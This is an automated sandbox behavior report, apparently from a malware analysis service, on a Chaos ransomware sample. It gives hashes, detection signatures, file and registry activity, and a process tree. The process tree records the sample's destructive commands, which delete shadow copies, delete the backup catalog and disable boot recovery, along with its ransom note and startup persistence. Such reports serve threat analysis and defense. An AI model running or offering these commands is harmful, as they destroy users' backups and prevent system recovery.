Analysis
-
max time kernel
135s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
12-08-2024 00:22
Behavioral task
behavioral1
Sample
438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe
Resource
win7-20240704-en
windows7-x64
18 signatures
150 seconds
Behavioral task
behavioral2
Sample
438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
21 signatures
150 seconds
General
-
Target
438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe
-
Size
32KB
-
MD5
aec65cd697c52926d76f888c0f1958b2
-
SHA1
603b2537703cfc6c4addf8ef1480ce33601f6117
-
SHA256
438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d
-
SHA512
c1a5d23b5cd9b378a6031c6ca1bfe65da424bb60c9e404401ca139eee1a3e6f78fc1bae1f38e493ccd3fcaa7b905b6caab2a36d19648acf76e63874df48278a4
-
SSDEEP
384:h3MLWHn3kI9a0JI8ITMpypoGroX3Jxr91CppZkM5hEM5eF:hn3kItJInTMpxMs5xr9OpZkM5hE2eF
Malware Config
Signatures
-
Chaos
Ransomware family first seen in June 2021.
-
Chaos Ransomware 2 IoCs
resource yara_rule behavioral2/memory/2976-0-0x0000000000D80000-0x0000000000D8E000-memory.dmp family_chaos behavioral2/files/0x00090000000233b2-6.dat family_chaos -
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2072 bcdedit.exe 2940 bcdedit.exe -
pid Process 2232 wbadmin.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation svchost.exe -
Drops startup file 3 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini svchost.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\read_it.txt svchost.exe -
Executes dropped EXE 1 IoCs
pid Process 3360 svchost.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 34 IoCs
description ioc Process File opened for modification C:\Users\Admin\Saved Games\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini svchost.exe File opened for modification C:\Users\Public\Documents\desktop.ini svchost.exe File opened for modification C:\Users\Public\Music\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Documents\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Public\Pictures\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Links\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini svchost.exe File opened for modification C:\Users\Public\Desktop\desktop.ini svchost.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Searches\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini svchost.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-1194130065-3471212556-1656947724-1000\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Music\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Videos\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini svchost.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini svchost.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini svchost.exe File opened for modification C:\Users\Public\Videos\desktop.ini svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 vds.exe -
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2992 vssadmin.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings svchost.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 4880 NOTEPAD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3360 svchost.exe -
Suspicious behavior: EnumeratesProcesses 49 IoCs
pid Process 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe 3360 svchost.exe -
Suspicious use of AdjustPrivilegeToken 50 IoCs
description pid Process Token: SeDebugPrivilege 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe Token: SeDebugPrivilege 3360 svchost.exe Token: SeBackupPrivilege 2644 vssvc.exe Token: SeRestorePrivilege 2644 vssvc.exe Token: SeAuditPrivilege 2644 vssvc.exe Token: SeIncreaseQuotaPrivilege 2148 WMIC.exe Token: SeSecurityPrivilege 2148 WMIC.exe Token: SeTakeOwnershipPrivilege 2148 WMIC.exe Token: SeLoadDriverPrivilege 2148 WMIC.exe Token: SeSystemProfilePrivilege 2148 WMIC.exe Token: SeSystemtimePrivilege 2148 WMIC.exe Token: SeProfSingleProcessPrivilege 2148 WMIC.exe Token: SeIncBasePriorityPrivilege 2148 WMIC.exe Token: SeCreatePagefilePrivilege 2148 WMIC.exe Token: SeBackupPrivilege 2148 WMIC.exe Token: SeRestorePrivilege 2148 WMIC.exe Token: SeShutdownPrivilege 2148 WMIC.exe Token: SeDebugPrivilege 2148 WMIC.exe Token: SeSystemEnvironmentPrivilege 2148 WMIC.exe Token: SeRemoteShutdownPrivilege 2148 WMIC.exe Token: SeUndockPrivilege 2148 WMIC.exe Token: SeManageVolumePrivilege 2148 WMIC.exe Token: 33 2148 WMIC.exe Token: 34 2148 WMIC.exe Token: 35 2148 WMIC.exe Token: 36 2148 WMIC.exe Token: SeIncreaseQuotaPrivilege 2148 WMIC.exe Token: SeSecurityPrivilege 2148 WMIC.exe Token: SeTakeOwnershipPrivilege 2148 WMIC.exe Token: SeLoadDriverPrivilege 2148 WMIC.exe Token: SeSystemProfilePrivilege 2148 WMIC.exe Token: SeSystemtimePrivilege 2148 WMIC.exe Token: SeProfSingleProcessPrivilege 2148 WMIC.exe Token: SeIncBasePriorityPrivilege 2148 WMIC.exe Token: SeCreatePagefilePrivilege 2148 WMIC.exe Token: SeBackupPrivilege 2148 WMIC.exe Token: SeRestorePrivilege 2148 WMIC.exe Token: SeShutdownPrivilege 2148 WMIC.exe Token: SeDebugPrivilege 2148 WMIC.exe Token: SeSystemEnvironmentPrivilege 2148 WMIC.exe Token: SeRemoteShutdownPrivilege 2148 WMIC.exe Token: SeUndockPrivilege 2148 WMIC.exe Token: SeManageVolumePrivilege 2148 WMIC.exe Token: 33 2148 WMIC.exe Token: 34 2148 WMIC.exe Token: 35 2148 WMIC.exe Token: 36 2148 WMIC.exe Token: SeBackupPrivilege 4464 wbengine.exe Token: SeRestorePrivilege 4464 wbengine.exe Token: SeSecurityPrivilege 4464 wbengine.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2976 wrote to memory of 3360 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 95 PID 2976 wrote to memory of 3360 2976 438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe 95 PID 3360 wrote to memory of 5076 3360 svchost.exe 97 PID 3360 wrote to memory of 5076 3360 svchost.exe 97 PID 5076 wrote to memory of 2992 5076 cmd.exe 99 PID 5076 wrote to memory of 2992 5076 cmd.exe 99 PID 5076 wrote to memory of 2148 5076 cmd.exe 102 PID 5076 wrote to memory of 2148 5076 cmd.exe 102 PID 3360 wrote to memory of 2388 3360 svchost.exe 103 PID 3360 wrote to memory of 2388 3360 svchost.exe 103 PID 2388 wrote to memory of 2072 2388 cmd.exe 105 PID 2388 wrote to memory of 2072 2388 cmd.exe 105 PID 2388 wrote to memory of 2940 2388 cmd.exe 106 PID 2388 wrote to memory of 2940 2388 cmd.exe 106 PID 3360 wrote to memory of 3696 3360 svchost.exe 107 PID 3360 wrote to memory of 3696 3360 svchost.exe 107 PID 3696 wrote to memory of 2232 3696 cmd.exe 109 PID 3696 wrote to memory of 2232 3696 cmd.exe 109 PID 3360 wrote to memory of 4880 3360 svchost.exe 113 PID 3360 wrote to memory of 4880 3360 svchost.exe 113 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe"C:\Users\Admin\AppData\Local\Temp\438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Drops desktop.ini file(s)
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3360 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete3⤵
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
PID:2992
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2148
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no3⤵
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
PID:2072
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
PID:2940
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet3⤵
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
PID:2232
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\read_it.txt3⤵
- Opens file in notepad (likely ransom note)
PID:4880
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2644
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4464
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4176
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:3892
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
32KB
MD5aec65cd697c52926d76f888c0f1958b2
SHA1603b2537703cfc6c4addf8ef1480ce33601f6117
SHA256438764714bb650393cdeba7bfa9e0ba039cd566fc35e4565dc2855d1e086f16d
SHA512c1a5d23b5cd9b378a6031c6ca1bfe65da424bb60c9e404401ca139eee1a3e6f78fc1bae1f38e493ccd3fcaa7b905b6caab2a36d19648acf76e63874df48278a4
-
Filesize
6KB
MD5fd2a0bdc9a576617d725d35784a6a824
SHA1d08aed0fe2d1ace2a1bb466fb90826fc1e8d8e3b
SHA25622ae9851e674f1b329ce25601e242406886c9000f51823ecddea9ec1b9276918
SHA51220ebf1c2e225644b6a9577c9a07bb8e06edaf93729f8bc472b004b79a6b19f5c5d45b6f4f3a36d86a9354bf360b27ed118cba76596dcbe915c8ba28897ac6e77